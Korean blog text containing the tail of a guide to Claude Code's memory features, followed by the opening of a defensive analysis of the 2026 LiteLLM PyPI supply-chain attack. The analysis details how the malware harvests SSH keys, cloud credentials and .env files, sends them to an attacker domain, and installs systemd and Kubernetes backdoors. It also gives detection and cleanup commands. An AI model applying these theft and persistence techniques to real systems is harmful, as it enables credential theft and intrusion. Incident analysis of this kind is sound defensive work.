# 오래된 토픽 파일 삭제
rm ~/.claude/projects/my-project/memory/outdated-topic.md

# MEMORY.md 직접 편집 — 오래된 항목 삭제, 중복 병합
vim ~/.claude/projects/my-project/memory/MEMORY.md

Step 3: 주기적 정리 습관

Auto Dream이 하려는 것(24시간 간격, 5세션 이상 축적 후 정리)을 수동으로 모방한다.

주간 메모리 정리 체크리스트

모순 확인: "Redis 사용" vs "Memcached로 전환" 같은 항목이 공존하면 오래된 쪽 삭제
상대 날짜 수정: "어제", "지난주" → 절대 날짜로 변환
중복 병합: 같은 주제의 메모가 여러 개면 하나로 통합
해결된 이슈 삭제: 이미 해결된 버그나 포기한 접근에 대한 메모 제거
줄 수 확인: wc -l MEMORY.md가 200줄 이내인지 확인

팁: 중요한 규칙은 CLAUDE.md에

Auto Memory에 쌓이는 건 Claude의 "학습"이다. 팀 규칙, 코딩 표준, 프로젝트 아키텍처 같은 명시적 지침은 CLAUDE.md(./CLAUDE.md 또는 ./.claude/CLAUDE.md)에 작성한다. CLAUDE.md는 압축(/compact) 후에도 디스크에서 재로딩되어 완전 보존된다. (출처: 공식 문서)

6. 실전 시나리오

시나리오 1: 새 팀원이 프로젝트에 합류

이전 개발자가 Claude Code를 사용하며 쌓인 Auto Memory가 있다면, 새 팀원이 같은 머신에서 작업한다면, Claude를 통해 "이 프로젝트의 빌드 명령어가 뭐야?"라고 물으면 기존 메모리에서 즉시 답을 받을 수 있다. 다만 Auto Memory는 로컬 디스크에 저장되므로, 다른 머신에서 같은 리포를 클론해도 메모리는 공유되지 않는다. 팀 공유가 필요한 규칙은 CLAUDE.md에 기록하여 리포에 커밋하는 것이 정답이다.

시나리오 2: 긴 디버깅 세션

3시간짜리 디버깅 세션 중간에 컨텍스트가 차면 자동 압축이 발동한다. 이때 초반에 시도했던 실패한 접근들은 요약되고, CLAUDE.md의 규칙은 다시 로딩된다. 특정 디버깅 맥락을 보존하고 싶으면 /compact focus on the auth bug investigation로 수동 압축한다.

시나리오 3: 자동화 스크립트에서 Claude 호출

CI/CD나 스크립트에서 claude -p "task"로 호출할 때는 --bare 플래그를 쓰면 auto memory가 완전히 비활성화된다. 일회성 작업에서 불필요한 메모리 쓰기를 방지한다.

7. CLAUDE.md vs Auto Memory vs Auto Dream 비교

항목	CLAUDE.md	Auto Memory	Auto Dream (미출시)
누가 쓰는가	사용자	Claude	Claude (백그라운드 정리 작업으로 추정)
하는 일	지침과 규칙 명시	학습 내용 저장	저장된 메모리 정리/가지치기
범위	프로젝트, 사용자, 조직	워킹 트리 단위	워킹 트리 단위 (동일)
실행 시점	매 세션 시작 시	세션 중 수시로	세션 사이 (24시간 간격, 5세션 축적 후)
세션 로딩	전체 로딩 (파일 크기 제한 없으나, 컨텍스트 윈도우 소비)	MEMORY.md 첫 200줄(또는 25KB)	해당 없음 (메모리 파일을 정리하는 역할)
버전관리/공유	git 커밋 가능 → 팀 공유	로컬 디스크 전용	로컬 디스크 전용
우선순위	가장 높음	CLAUDE.md보다 낮음	Auto Memory를 수정하는 역할
압축(`/compact`) 후	디스크에서 재로딩 (완전 보존)	MEMORY.md 첫 200줄 재로딩	해당 없음
현재 상태	사용 가능	사용 가능 (v2.1.59+)	미출시

비유하면: CLAUDE.md는 "이렇게 해라"(명시적 지침), Auto Memory는 "지난번에 이렇게 했더니 잘 됐다"(경험 학습), Auto Dream은 "학습한 것을 정리하는 잠"(기억 정리)이다.

8. 이론적 배경: Sleep-time Compute

Auto Dream의 설계 철학은 우연이 아니다. 2025년 4월에 발표된 연구 논문과 직접적인 대응 관계가 있다.

Sleep-time Compute 논문

"Sleep-time Compute: Beyond Inference Scaling at Test-time"

(Kevin Lin, Charlie Snell et al., Letta + UC Berkeley, arXiv:2504.13171)

핵심 아이디어: LLM이 사용자의 질문을 받기 전에 미리 생각해두면, 질문이 왔을 때 더 빠르고 정확하게 답할 수 있다.

논문 (Sleep-time Compute)	Auto Dream (Claude Code)
사용자 쿼리를 예측하여 미리 계산	축적된 메모리를 정리/통합
테스트 타임 컴퓨팅 ~5배 절감 (논문 Table 1 기준)	세션 시작 시 더 효율적인 컨텍스트 로딩
오프라인(사용자 유휴 시간)에 처리	세션 사이에 비동기 실행 (`minHours: 24`)
여러 쿼리에 걸쳐 비용 분산	여러 세션에 걸쳐 정리 (`minSessions: 5`)

직접적 연관성은 미확인

Auto Dream과 Sleep-time Compute 논문의 대응 관계는 DEV Community 기사의 분석이다. Anthropic이 이 논문을 참조했다는 공식 확인은 없다. 다만 "사용자 유휴 시간에 컴퓨팅을 투자하여 다음 세션의 효율을 높인다"는 설계 철학은 동일하다.

인간의 수면과 기억 정리

"Dream"이라는 이름은 인간의 수면 중 기억 강화(memory consolidation during sleep) 과정에서 따온 것이다. 인간은 잠자는 동안 해마에서 대뇌피질로 정보를 옮기며, 중요한 기억은 강화하고 불필요한 기억은 잊는다. Auto Dream은 이 과정을 Auto Memory에 적용한 것이다 — 세션 사이("수면 시간")에 메모리를 정리하여, 다음 세션이 더 깨끗한 기억으로 시작하게 한다.

9. 커뮤니티 반응: 기대와 우려

긍정적 반응

반응	출처	검증
"인간의 REM 수면처럼 단기 기억을 장기 기억으로 정리한다. 네이밍이 의도적이다."	Threads @sakeeb.rahman	비유로서 적절. 실제 REM 수면 메커니즘과 1:1 대응은 아니지만, "세션 사이에 정리"라는 설계 의도는 맞다.
"Sleep-time Compute 논문이 떠오른다. 아름답다."	X @maksym_andr	논문과의 직접 연관은 미확인. 다만 "유휴 시간에 컴퓨팅 투자" 설계 철학은 유사하다 (섹션 8 참조).
"이미 OpenClaw로 매일 메모리 정리를 자동화하고 있었는데, 공식 기능으로 나와서 좋다."	X @JeremyNguyenPhD	파워 유저들이 이미 수동으로 하던 작업을 자동화한다는 점에서 실질적 가치가 있다.
"20세션 넘으면 메모리가 엉망이 된다. 이걸 해결해주는 기능이 필요했다."	Threads @sakeeb.rahman	Auto Memory의 "쓰고 잊기" 문제는 실제로 존재한다. 이 글의 섹션 3에서 다룬 구조적 문제이다.

우려 및 비판

우려	출처	검증 및 행동 지침
정확성 문제: 잘못된 프로젝트명 생성, 파일 수를 검증 없이 주장, 오래된 항목을 삭제하지 않음	GitHub #38493	실제 버그 리포트. Auto Dream 결과물은 반드시 수동 검토가 필요하다. `/memory`로 정리 결과를 확인할 것.
투명성 부족: 무엇을 수정했는지 변경 이력(changelog)이 없음	GitHub #38493	정리 전후를 비교할 수 없다. 중요 프로젝트에서는 정리 전 `memory/` 디렉토리를 백업해두는 것을 권장한다.
토큰 비용: 메모리 정리에 많은 토큰이 소비될 수 있다	커뮤니티 논의	사용자가 요청하지 않은 서브에이전트 실행의 비용 모델은 미공개. Anthropic이 부담하는지, 사용자 토큰에서 차감되는지 확인되지 않았다.
프라이버시: 메모리 내용이 정리 과정에서 API로 전송됨	커뮤니티 논의	Auto Memory 자체가 세션 중 API로 전송되므로, Auto Dream도 동일한 프라이버시 범위 내이다. 민감 정보가 메모리에 저장되지 않도록 주의.
/dream 명령어 미작동: UI에서 안내하지만 실행하면 "Unknown skill"	GitHub #38426, #38461	알려진 버그. `/dream` 대신 자연어로 "메모리를 정리해줘"라고 요청하면 수동으로 동일한 작업을 할 수 있다.

독자 행동 지침 요약

Auto Dream이 활성화된 경우: 정리 후 반드시 /memory로 결과 검토. 정리 전 memory/ 백업 권장.
Auto Dream이 비활성화된 경우: 섹션 5의 수동 정리 방법으로 동일한 효과를 얻을 수 있다.
민감 프로젝트: CLAUDE_CODE_DISABLE_AUTO_MEMORY=1로 메모리 자체를 끄는 것을 고려.

10. 제한사항 및 주의사항

항목	내용	대응
Auto Dream 미출시	UI에 보이지만 활성화 불가. 출시 일정 미정.	섹션 5의 수동 정리 방법 사용
200줄 한도	MEMORY.md의 첫 200줄(또는 25KB)만 세션에 로딩	인덱스만 유지, 상세 내용은 토픽 파일로 분리
잘못된 기억	Claude가 잘못된 패턴을 학습할 수 있다	`/memory`로 주기적 검토. CLAUDE.md 규칙이 우선
로컬 전용	Auto Memory는 로컬 디스크에만 저장. 다른 머신과 공유 불가	`autoMemoryDirectory`로 클라우드 스토리지 경로 지정 (사용자 설정만)
프라이버시	Auto Memory는 로컬 저장이지만, 세션 중 API로 전송됨	민감 정보 저장 주의. 메모리만 끄려면 `CLAUDE_CODE_DISABLE_AUTO_MEMORY=1` 또는 `autoMemoryEnabled: false`
커뮤니티 정보 혼동	"Memory 2.0", "Auto Dream 사용법" 등 미출시 기능을 출시된 것처럼 다루는 콘텐츠가 많다	공식 문서와 체인지로그 직접 확인

11. 트러블슈팅 Q&A

Q1. /memory에서 Auto-dream 토글이 안 보인다

원인: Claude Code 버전이 오래되었거나, 서버 사이드 feature flag가 비활성화된 상태일 수 있다. 최신 버전으로 업데이트해도 토글이 보이지 않을 수 있다 — Auto Dream은 공식 문서에 없는 서버 게이트 기능이다.

# 버전 확인
claude --version

# 최신 버전으로 업데이트
claude update
# legacy npm 설치인 경우
# npm update -g @anthropic-ai/claude-code

Q2. Auto-dream을 켤 수 없다

점진적 롤아웃이 진행 중인 것으로 보인다. Auto Dream은 서버 사이드 feature flag로 제어된다. 일부 사용자에게는 활성화되어 있고("Auto-dream: on · last ran 1d ago"), 다른 사용자에게는 잠겨 있다. settings.json에 "autoDreamEnabled": true를 추가해볼 수 있지만, 이 키는 공식 설정 문서에 기재되어 있지 않으며(2026-03-31 기준, v2.1.88), 서버 플래그가 꺼져 있으면 효과가 없다. 활성화되기를 기다리면서, 섹션 5의 수동 정리 방법을 사용한다.

Q3. /dream을 실행하면 "unknown skill"이 나온다

정상이다. /dream 수동 명령어는 Auto Dream 자동 실행이 이미 켜진 사용자조차 "unknown skill"을 반환한다 (v2.1.88까지 미구현, GitHub #39135). 자동 실행과 수동 명령어는 별개로 구현 중이다.

대안 3가지:

자연어 요청: "메모리 파일들을 확인해서 모순되는 항목을 정리해줘. 상대 날짜는 절대 날짜로 바꾸고, 중복은 합쳐줘." (수동 실행, Auto Dream 기능은 아님)
비공식 플러그인: jl-cmd/claude-dream — /plugin marketplace add jl-cmd/claude-dream으로 설치. 커뮤니티 제작, 공식 지원 아님. [UNVERIFIED]
자동 실행 대기: Auto Dream이 활성화되면 조건 충족 시 백그라운드에서 자동으로 실행됨.

Q4. Claude가 이전 세션의 내용을 기억하지 못한다

확인사항:

claude --version이 v2.1.59 이상인지 확인
/memory에서 Auto-memory가 "on"인지 확인
~/.claude/projects/*/memory/MEMORY.md 파일이 존재하는지 확인
CLAUDE_CODE_DISABLE_AUTO_MEMORY=1 환경변수가 설정되어 있지 않은지 확인

Q5. 메모리가 쌓여서 모순이 생겼다

Auto Dream이 해결하려는 정확히 이 문제다. 출시 전까지는 섹션 5의 수동 정리 방법을 사용한다. Claude에게 "메모리를 확인해서 모순되는 항목을 정리해줘"라고 요청하면 된다.

Q6. "run your autodream"이라고 했더니 Claude가 뭔가 했다. 이게 Auto Dream인가?

아니다. Claude가 메모리 파일을 읽고 수정한 것이다. 이것은 Auto Dream 기능이 아니라, Claude의 일반적인 파일 편집 능력이다. Auto Dream은 세션 사이에 자동으로 실행되는 서브에이전트인데, 현재는 활성화되어 있지 않다.

Q7. 메모리에 잘못된 정보가 저장되어 있다

해결: /memory로 열어서 직접 수정하거나 삭제한다. 또는 CLAUDE.md에 "이 규칙을 따라라"고 명시하면, 잘못된 Auto Memory보다 CLAUDE.md가 우선한다.

Q8. 긴 세션에서 Claude가 초반 지시를 잊어버린다

원인: Context Compaction이 발동하면서 초반 대화가 요약됨 (섹션 3 참조).

해결:

중요 지시는 CLAUDE.md에 기록 (압축 후 재로딩됨)
/compact focus on [핵심 주제]로 보존할 내용 지정
/context로 현재 컨텍스트 사용량 모니터링

Q9. 팀원과 Auto Memory를 공유하고 싶다

현재: Auto Memory는 ~/.claude/ 아래에 로컬로 저장되므로 직접 공유되지 않는다. 같은 git 리포를 클론하면 같은 프로젝트 경로를 가지지만, 메모리 파일 자체는 각자의 로컬 머신에 있다.

대안: 팀 전체가 공유해야 하는 규칙은 CLAUDE.md에 작성하여 리포에 커밋한다.

Q10. 다른 머신으로 메모리를 옮기고 싶다

해결: Auto Memory는 ~/.claude/projects/<project>/memory/에 일반 마크다운 파일로 저장된다. 해당 디렉토리를 복사하면 된다. 또는 autoMemoryDirectory 설정으로 커스텀 경로(예: Dropbox, iCloud Drive)를 지정하여 머신 간 동기화할 수 있다.

{
  "autoMemoryDirectory": "~/Library/Mobile Documents/com~apple~CloudDocs/claude-memory"
}

다만 autoMemoryDirectory는 보안상 사용자/로컬 설정에서만 허용되고, 프로젝트 설정(.claude/settings.json)에서는 사용할 수 없다.

12. 결론: 언제 쓸 수 있을까

Auto Dream은 "있지만 없는" 기능이다. UI에 존재하고, 코드베이스에 구현되어 있고, 일부 사용자에게는 이미 활성화되어 있다. 하지만 대부분의 사용자에게는 아직 잠겨 있으며, /dream 명령어 핸들러가 연결되지 않은 등 미완성 상태다.

이미 준비된 것

이론적 기반: Sleep-time Compute 논문 (2025년 4월)
실행 인프라: Cloud Scheduled Tasks, Desktop Scheduled Tasks 등 기존 스케줄링 기능이 활용될 수 있을 것으로 보인다 (공식 확인되지 않음)
UI: /memory 메뉴에 이미 표시
Feature flag: 서버에서 켜기만 하면 됨

남은 질문

비용: 사용자가 요청하지 않은 서브에이전트 실행 비용을 누가 부담하는가?
투명성: 메모리 내용이 정리 과정에서 API로 전송된다는 사실을 어떻게 고지하는가?
기본값: opt-in(사용자가 켜야 함)인가, opt-out(기본 켜짐)인가?

출시 시기 추정

기술적으로는 출시 준비가 되어 있다. 남은 것은 비즈니스 결정(비용 모델, 프라이버시 정책, 기본값 설정)이다. 2026년 상반기 내 출시될 가능성이 있지만, 정확한 일정은 Anthropic만 알고 있다. feature flag가 보이지만 출시되지 않는 기능도 존재할 수 있다.

지금 할 수 있는 것

시점	행동
오늘	`/memory`로 현재 메모리 확인. Claude가 뭘 기억하고 있는지 한번 훑어보기
이번 주	CLAUDE.md에 프로젝트 규칙 정리. Auto Memory와 역할 분담 명확히 하기
매주	섹션 4의 체크리스트로 수동 메모리 정리 (Auto Dream이 할 일을 직접 하기)
Auto Dream 출시 후	`/memory`에서 Auto-dream 토글 확인. 켜져 있으면 수동 정리를 줄여도 된다

참고 자료

공식 문서: How Claude remembers your project
체인지로그: Claude Code Changelog
DEV Community: Does Claude Code Need Sleep? Inside the Unreleased Auto-dream Feature (akari_iku, 2026-03-24)
X: @JeremyNguyenPhD — "Claude Code's unreleased auto-dream feature"
GitHub: Issue #38426 — /dream returns "Unknown skill"
GitHub: Issue #38461 — autoDreamEnabled true but /dream broken
GitHub: Issue #38493 — Auto-dream: 3 gaps (2026-03-25)
GitHub: Issue #39135 — v2.1.84에서도 /dream 미작동 재확인 (2026-03-26)
시스템 프롬프트: Piebald-AI — Auto Dream 시스템 프롬프트
X: @kr0der — 최초 발견 트윗
X: @om_patel5 — 바이럴 스레드 (38K views)
Threads: @sakeeb.rahman — 4단계 프로세스 심층 분석
claudefa.st: Claude Code Auto Dream: Memory Consolidation Feature Explained
논문: Sleep-time Compute: Beyond Inference Scaling at Test-time (arXiv:2504.13171)

pip install litellm 한 번으로 SSH 키가 털렸다 — 2026 공급망 공격 분석 : 보안 도구가 감염 벡터가 되다

갓대희 — Thu, 26 Mar 2026 21:56:43 +0900

안녕하세요! 갓대희 입니다.

AI API 키를 한곳에서 관리해 주는 패키지가, 그 API 키를 전부 훔쳐 갔다.

2026년 3월 24일, 월 9,500만 다운로드의 Python 패키지 LiteLLM에 악성코드가 심어졌다. 설치만 해도 SSH 키, 클라우드 인증 정보, .env 파일, 암호화폐 지갑까지 전부 수집해서 외부로 전송한다. 쿠버네티스 클러스터에서는 모든 노드에 관리자 권한 컨테이너를 심는다. 재부팅해도 살아남는 백도어까지 설치한다.

이 글에서는 검증된 보안 리포트(Wiz, Endor Labs, FutureSearch, The Hacker News)를 기반으로 사건의 전모, 악성코드의 기술적 구조, 영향 범위, 그리고 지금 당장 해야 할 대응 방법을 정리한다.

사건 개요 — 무슨 일이 벌어졌는가
TeamPCP 연쇄 공격 타임라인
감염 경로 — 보안 도구가 감염 벡터가 되다
악성코드 기술 분석 — 3단계 공격 구조
발견 경위 — 악성코드의 버그가 구한 세상
영향 범위 — 내가 위험한가?
지금 당장 해야 할 대응 방법
교훈 — 바이브 코딩 시대의 공급망 보안
트러블슈팅 Q&A
결론

LiteLLM 공급망 공격 요약 (2026-03-24)

공격자	TeamPCP
감염 버전	1.82.7, 1.82.8
감염 경로	Trivy CI/CD 공급망 공격 → PyPI 토큰 탈취 → 악성 버전 배포
악성코드 행위	인증 정보 수집 → AES-256 + RSA-4096 암호화 후 외부 전송 → 영구 백도어 설치
영향 범위	월 9,500만 다운로드, 클라우드 환경의 36%에 존재 (Wiz 추정)
현재 상태	감염 버전 제거됨. PyPI 전체 패키지 격리 중 (신규 설치 불가). BerriAI 릴리스 중단 상태 (2026-03-26 기준)

(출처: Wiz Research, FutureSearch, Endor Labs)

1. 사건 개요 — 무슨 일이 벌어졌는가

LiteLLM이 뭔가

LiteLLM은 BerriAI가 만든 오픈소스 Python 라이브러리이자 프록시 서버다.

OpenAI, Anthropic, Google, Azure, AWS Bedrock 등 100개 이상의 LLM 서비스를 하나의 OpenAI 호환 인터페이스로 통합한다. 기업 입장에서는 여러 AI 서비스의 API 키를 한곳에서 관리하면서 모델을 자유롭게 전환할 수 있다.

문제는 이 편의성이 공격자에게도 매력적이라는 것이다. LiteLLM이 설치된 서버에는 기업이 사용하는 모든 AI 서비스의 API 키가 집중되어 있다. 열쇠를 보관하는 금고를 하나 뚫으면, 금고 안의 모든 열쇠가 유출 대상이 된다.

항목	내용
패키지	litellm (PyPI)
GitHub	BerriAI/litellm (Stars: 40,369개, 2026-03-25 기준)
월 다운로드	약 9,500만 회 (일 340만 회 이상)
클라우드 보급률	전체 클라우드 환경의 36%에 존재 (Wiz 데이터)
역할	100+ LLM 서비스를 OpenAI 호환 포맷으로 통합하는 게이트웨이

(출처: Wiz Research, 2026-03-24)

어떤 일이 벌어졌나

2026년 3월 24일, LiteLLM의 악성 버전 1.82.7(10:39 UTC)과 1.82.8(10:52 UTC)이 PyPI에 업로드되었다. GitHub에는 대응하는 태그나 릴리스가 없었다. 정상적인 릴리스 프로세스를 우회하여 PyPI에 직접 업로드된 것이다.

두 버전의 감염 메커니즘은 다르다

1.82.8에는 litellm_init.pth 파일이 포함되어 있다. Python의 .pth 파일은 인터프리터 시작 시 자동 실행된다. import litellm을 호출할 필요 없이, Python을 실행하기만 하면 악성코드가 작동한다.

1.82.7은 .pth 대신 proxy_server.py에 악성코드가 삽입되어, import litellm.proxy 시에 트리거된다. 프록시 서버를 실행하지 않으면 트리거되지 않지만, LiteLLM을 프록시로 사용하는 환경(대부분의 기업 환경)에서는 동일하게 위험하다.

(출처: LiteLLM 공식 대응 Issue #24518)

FutureSearch가 PyPI에 최초 신고했고, PyPI가 격리(quarantine) 조치했다. LiteLLM 공식 보안 공지에 따르면 영향 시간대는 10:39 UTC ~ 16:00 UTC (약 5시간 20분)이다. 감염 버전은 제거되었으며, 2026년 3월 26일 현재 litellm 전체 패키지가 PyPI에서 격리 중이어서 어떤 버전도 pip install litellm으로 설치할 수 없는 상태다. BerriAI는 공급망 검토가 완료될 때까지 새 릴리스를 중단했다.

(출처: FutureSearch, 2026-03-24)

2. TeamPCP 연쇄 공격 타임라인

이 사건은 단독 범행이 아니다. TeamPCP라는 공격 그룹이 보안 도구를 연쇄적으로 공격하며 신뢰 체인을 타고 올라간 계획적 캠페인이다.

날짜	대상	유형	설명
3월 19일	Trivy (Aqua Security)	보안 취약점 스캐너	trivy-action의 77개 태그 중 76개를 악성 커밋으로 교체. CI/CD 파이프라인의 인증 정보를 수집하는 악성 페이로드 삽입
3월 23일	KICS (Checkmarx)	IaC 보안 스캐너	KICS GitHub Action을 12:58~16:50 UTC 사이에 감염. 해당 시간대에 이 Action을 사용한 모든 CI/CD에 악성코드 실행
3월 24일	LiteLLM (BerriAI)	AI 게이트웨이	감염된 Trivy를 CI/CD에서 사용하던 LiteLLM의 PyPI 토큰이 탈취됨. 악성 버전 1.82.7, 1.82.8 직접 배포

패턴이 보인다. 보안 도구를 먼저 감염시키고, 그 보안 도구를 사용하는 다음 타겟의 인증 정보를 수집하여 연쇄 공격을 이어간다. Wiz에 따르면 TeamPCP는 GitHub Actions, Docker Hub, npm, Open VSX, PyPI 등 5개 패키지 생태계에 걸쳐 공격을 확장했다.

공급망 공격의 핵심: 신뢰 체인 악용

일반적인 해킹은 방화벽이나 인증 시스템을 뚫는다. 공급망 공격은 이미 신뢰받는 도구 자체를 감염시킨다. CI/CD 파이프라인에서 "보안 스캐너"로 등록된 Trivy가 감염되면, 보안 스캐너를 실행하는 행위 자체가 인증 정보 유출 행위가 된다. 보안 도구가 감염 벡터가 되는 아이러니다.

(출처: Wiz - KICS Compromise, The Hacker News)

3. 감염 경로 — 보안 도구가 감염 벡터가 되다

LiteLLM의 CI/CD 파이프라인에는 Trivy가 보안 취약점 스캔 도구로 등록되어 있었다. 정상적이라면 코드 푸시 때마다 Trivy가 취약점을 검사하고, 문제가 없으면 빌드를 통과시키고, PyPI에 배포하는 흐름이다.

문제는 3월 19일부터 Trivy 자체가 감염된 상태였다는 것이다.

## 공격 흐름 (재구성)

TeamPCP가 Trivy GitHub Action의 태그 76/77개를 악성 커밋으로 교체
감염된 Trivy가 CI/CD에서 실행될 때 환경변수(PyPI 토큰 포함)를 수집
LiteLLM의 CI/CD에서 감염된 Trivy가 실행됨
LiteLLM의 PyPI API 토큰이 TeamPCP에 전달됨
TeamPCP가 탈취한 토큰으로 PyPI에 악성 버전을 직접 업로드
GitHub 릴리스 없이 PyPI에만 1.82.7, 1.82.8 배포

PyPI advisory에서도 Trivy 사건에서 노출된 API 토큰이 근본 원인이라고 확인했다. LiteLLM 관리자가 직접 공격당한 것이 아니라, LiteLLM이 의존하고 있던 보안 도구(Trivy)가 먼저 감염되어 인증 정보가 유출된 것이다.

(출처: Wiz Research — "An PyPI advisory has been posted, identifying an API token exposed via the prior Trivy incident as the root cause")

4. 악성코드 기술 분석 — 3단계 공격 구조

악성 litellm_init.pth 파일이 Python 인터프리터 시작 시 자동으로 실행하는 페이로드는 3단계로 구성된다.

Stage 1: 수집 (Collection)

호스트 시스템에서 민감한 파일과 정보를 광범위하게 수집한다.

수집 대상	구체적 파일/경로
SSH 키	~/.ssh/ (개인키, 설정 파일)
클라우드 인증 정보	AWS credentials, GCP ADC, Azure 토큰
쿠버네티스 설정	~/.kube/config, 서비스 어카운트 토큰
환경 변수 파일	.env 파일 (API 키, DB 비밀번호 포함)
암호화폐 지갑	일반적인 지갑 파일 패턴 매칭
Git 설정	.gitconfig (토큰, 인증 정보)
쉘 히스토리	.bash_history, .zsh_history
데이터베이스 비밀번호	설정 파일 내 비밀번호 패턴
Slack / Discord 토큰	채팅 서비스 인증 토큰 (OX Security 분석)
클라우드 메타데이터	IMDS 엔드포인트, 컨테이너 자격증명 조회

환경변수 덤프와 클라우드 메타데이터 엔드포인트(IMDS, 컨테이너 자격증명) 쿼리까지 수행한다. 즉 파일 시스템과 런타임 환경 양쪽에서 인증 정보를 수집한다.

Stage 2: 유출 (Exfiltration)

수집된 데이터를 외부로 전송한다.

수집 데이터를 AES-256-CBC로 암호화 (랜덤 세션 키 사용)
세션 키를 하드코딩된 4096-bit RSA 공개키로 암호화
전체를 tar 아카이브로 묶어 https://models.litellm.cloud/로 POST 전송

models.litellm.cloud는 LiteLLM 공식 인프라가 아니다

도메인 이름이 litellm.cloud를 포함하고 있어 공식 서버처럼 보이지만, LiteLLM의 정상적인 인프라와 무관한 공격자가 등록한 도메인이다. 방화벽 규칙에서 이 도메인으로의 아웃바운드 트래픽을 즉시 차단해야 한다.

Stage 3: 지속성 확보 (Persistence)

환경에 따라 두 가지 경로로 영구 백도어를 설치한다.

쿠버네티스 환경:

서비스 어카운트 토큰이 있으면 모든 네임스페이스의 시크릿을 읽는다
kube-system의 모든 노드에 특권(privileged) alpine:latest 컨테이너를 생성한다
각 컨테이너가 호스트 파일시스템을 마운트하고 백도어를 설치한다

로컬 머신:

/root/.config/sysmon/sysmon.py 또는 ~/.config/sysmon/sysmon.py에 백도어 설치
systemd user service로 등록하여 재부팅 후에도 자동 실행
백도어는 checkmarx[.]zone/raw를 50분 간격으로 폴링하여 추가 바이너리를 다운로드한다 — 공격자가 나중에 추가 페이로드를 배포할 수 있다

# 백도어 설치 경로 확인 명령어
ls -la ~/.config/sysmon/sysmon.py
ls -la ~/.config/systemd/user/sysmon.service

# 쿠버네티스 환경에서 의심스러운 Pod 확인
kubectl get pods -n kube-system | grep node-setup

(출처: FutureSearch, 2026-03-24 — 3단계 페이로드 기술 분석)

5. 발견 경위 — 악성코드의 버그가 구한 세상

이 사건의 발견 경위가 흥미롭다. FutureSearch 팀이 Cursor 에디터에서 MCP 플러그인을 사용하던 중, LiteLLM이 간접 의존성(transitive dependency)으로 자동 설치되었다. 직접 설치한 것이 아니다.

그런데 갑자기 시스템 메모리(RAM)가 전부 소진되면서 머신이 멈췄다.

원인은 악성코드의 버그였다. .pth 파일은 Python 인터프리터 시작 시마다 실행되는데, 이 악성 .pth가 subprocess.Popen으로 자식 Python 프로세스를 생성한다. 자식 프로세스가 시작되면 다시 .pth가 실행되고, 또 자식 프로세스를 생성하고... 지수적으로 프로세스가 복제되는 포크 폭탄(fork bomb)이 발생한 것이다.

아이러니: 악성코드의 버그가 없었으면 발견이 훨씬 늦었을 것이다

의도된 동작대로였다면 악성코드는 조용히 인증 정보를 수집하고, 조용히 전송하고, 조용히 백도어를 설치했을 것이다. 포크 폭탄은 공격자의 실수다. 이 실수가 시스템을 폭주시켰고, FutureSearch 개발자가 원인을 추적하면서 악성코드가 발견되었다. 10:39 UTC에 첫 배포가 시작되었다. LiteLLM 공식 보안 공지에 따르면 영향 시간대는 10:39 UTC ~ 16:00 UTC (약 5시간 20분)이다. 버그가 없었다면 이 시간은 훨씬 길어졌을 것이다.

(출처: FutureSearch — "The fork bomb is actually a bug in the malware")

6. 영향 범위 — 내가 위험한가?

직접 설치하지 않아도 위험하다

LiteLLM은 본인이 직접 pip install litellm하지 않아도 다른 도구의 의존성으로 자동 설치되는 경우가 많다. 대표적인 경로는 다음과 같다.

MCP 플러그인 — Cursor, Claude Code 등에서 사용하는 MCP 플러그인이 의존성으로 설치
AI 에이전트 프레임워크 — LangChain, CrewAI 등 LLM 오케스트레이션 도구
LLM 게이트웨이/프록시 — 여러 AI 모델을 관리하는 서버 환경
바이브 코딩 도구 체인 — AI 코딩 에이전트가 자동으로 설치하는 패키지

영향받지 않는 경로

다음 경우에는 이번 사건의 영향을 받지 않는다

LiteLLM 공식 Proxy Docker 이미지를 사용한 경우 (PyPI 패키지가 아닌 이미지 기반)
LiteLLM Cloud (호스팅 서비스) 사용자
소스에서 직접 설치한 경우 (GitHub clone → pip install -e .)
litellm 1.82.6 이하를 사용 중이고, 3월 24일 이후 업그레이드하지 않은 경우

(출처: LiteLLM 공식 보안 공지)

GitHub 계정 탈취까지

TeamPCP는 LiteLLM 관리자(BerriAI)의 GitHub 계정까지 탈취한 것으로 보인다. GitHub에 "teampcp owns BerriAI"라는 메시지를 남겼다. 이 사건을 신고한 GitHub Issue #24512를 "not planned"으로 닫아 버렸으며, 수백 개의 봇 댓글로 토론을 희석시키려 했다.

BerriAI 대응 현황 (2026-03-26 기준)

관리자 계정 전체 교체 — 새 계정(@krrish-berri-2, @ishaan-berri)으로 전환
PyPI 토큰 폐기 — 탈취된 PYPI_PUBLISH_PASSWORD 시크릿 무효화
새 릴리스 중단 — 공급망 전체 검토 완료 시까지 배포 일시 중지
Trusted Publishers(OIDC) 마이그레이션 — 토큰 기반 배포에서 OIDC 기반으로 전환 논의 중 (Issue #24542)

(출처: LiteLLM 공식 보안 공지, Issue #24518)

확인 방법

지금 터미널을 열고 아래 명령어를 실행한다.

# 1. litellm 설치 여부 및 버전 확인
pip show litellm

# 2. uv 캐시에 감염 파일이 있는지 확인
find ~/.cache/uv -name "litellm_init.pth" 2>/dev/null

# 3. 가상환경에서 확인
find . -path "*/site-packages/litellm_init.pth" 2>/dev/null

# 4. 백도어 존재 확인
ls -la ~/.config/sysmon/ 2>/dev/null
ls -la ~/.config/systemd/user/sysmon.service 2>/dev/null

버전이 1.82.7 또는 1.82.8이면 감염된 것이다. 해당 환경에 있던 모든 인증 정보가 이미 유출되었을 가능성이 있다.
ex) 나의 경우는 미설치

(출처: FutureSearch, GitHub Issue #24512)

7. 지금 당장 해야 할 대응 방법

감염 버전이 확인되었다면 아래 순서대로 대응한다.

Step 1: 즉시 삭제

# 감염 버전 제거
pip uninstall litellm -y

# 패키지 매니저 캐시 삭제
rm -rf ~/.cache/uv
rm -rf ~/.cache/pip

# 안전한 버전으로 재설치 (PyPI 격리 해제 후)
# 2026-03-26 현재 전체 패키지 격리 중 — 아래 명령은 격리 해제 후 실행
pip install litellm==1.82.6

Step 2: 백도어 제거

# 로컬 백도어 파일 제거
rm -rf ~/.config/sysmon/

# systemd 서비스 중지 및 제거
systemctl --user stop sysmon.service 2>/dev/null
systemctl --user disable sysmon.service 2>/dev/null
rm -f ~/.config/systemd/user/sysmon.service
systemctl --user daemon-reload

# 쿠버네티스: 의심스러운 Pod 탐지 (이름 패턴 + 이미지 기준)
kubectl get pods -n kube-system -o wide | grep -E "node-setup|alpine"

# 의심 Pod 확인 후 개별 삭제 (이름, 이미지, 생성 시각을 반드시 확인)
kubectl delete pod -n kube-system <pod-name>

Step 3: 모든 인증 정보 교체

감염 환경에 있던 모든 인증 정보가 유출되었다고 가정하고 교체한다.

교체 필수 목록

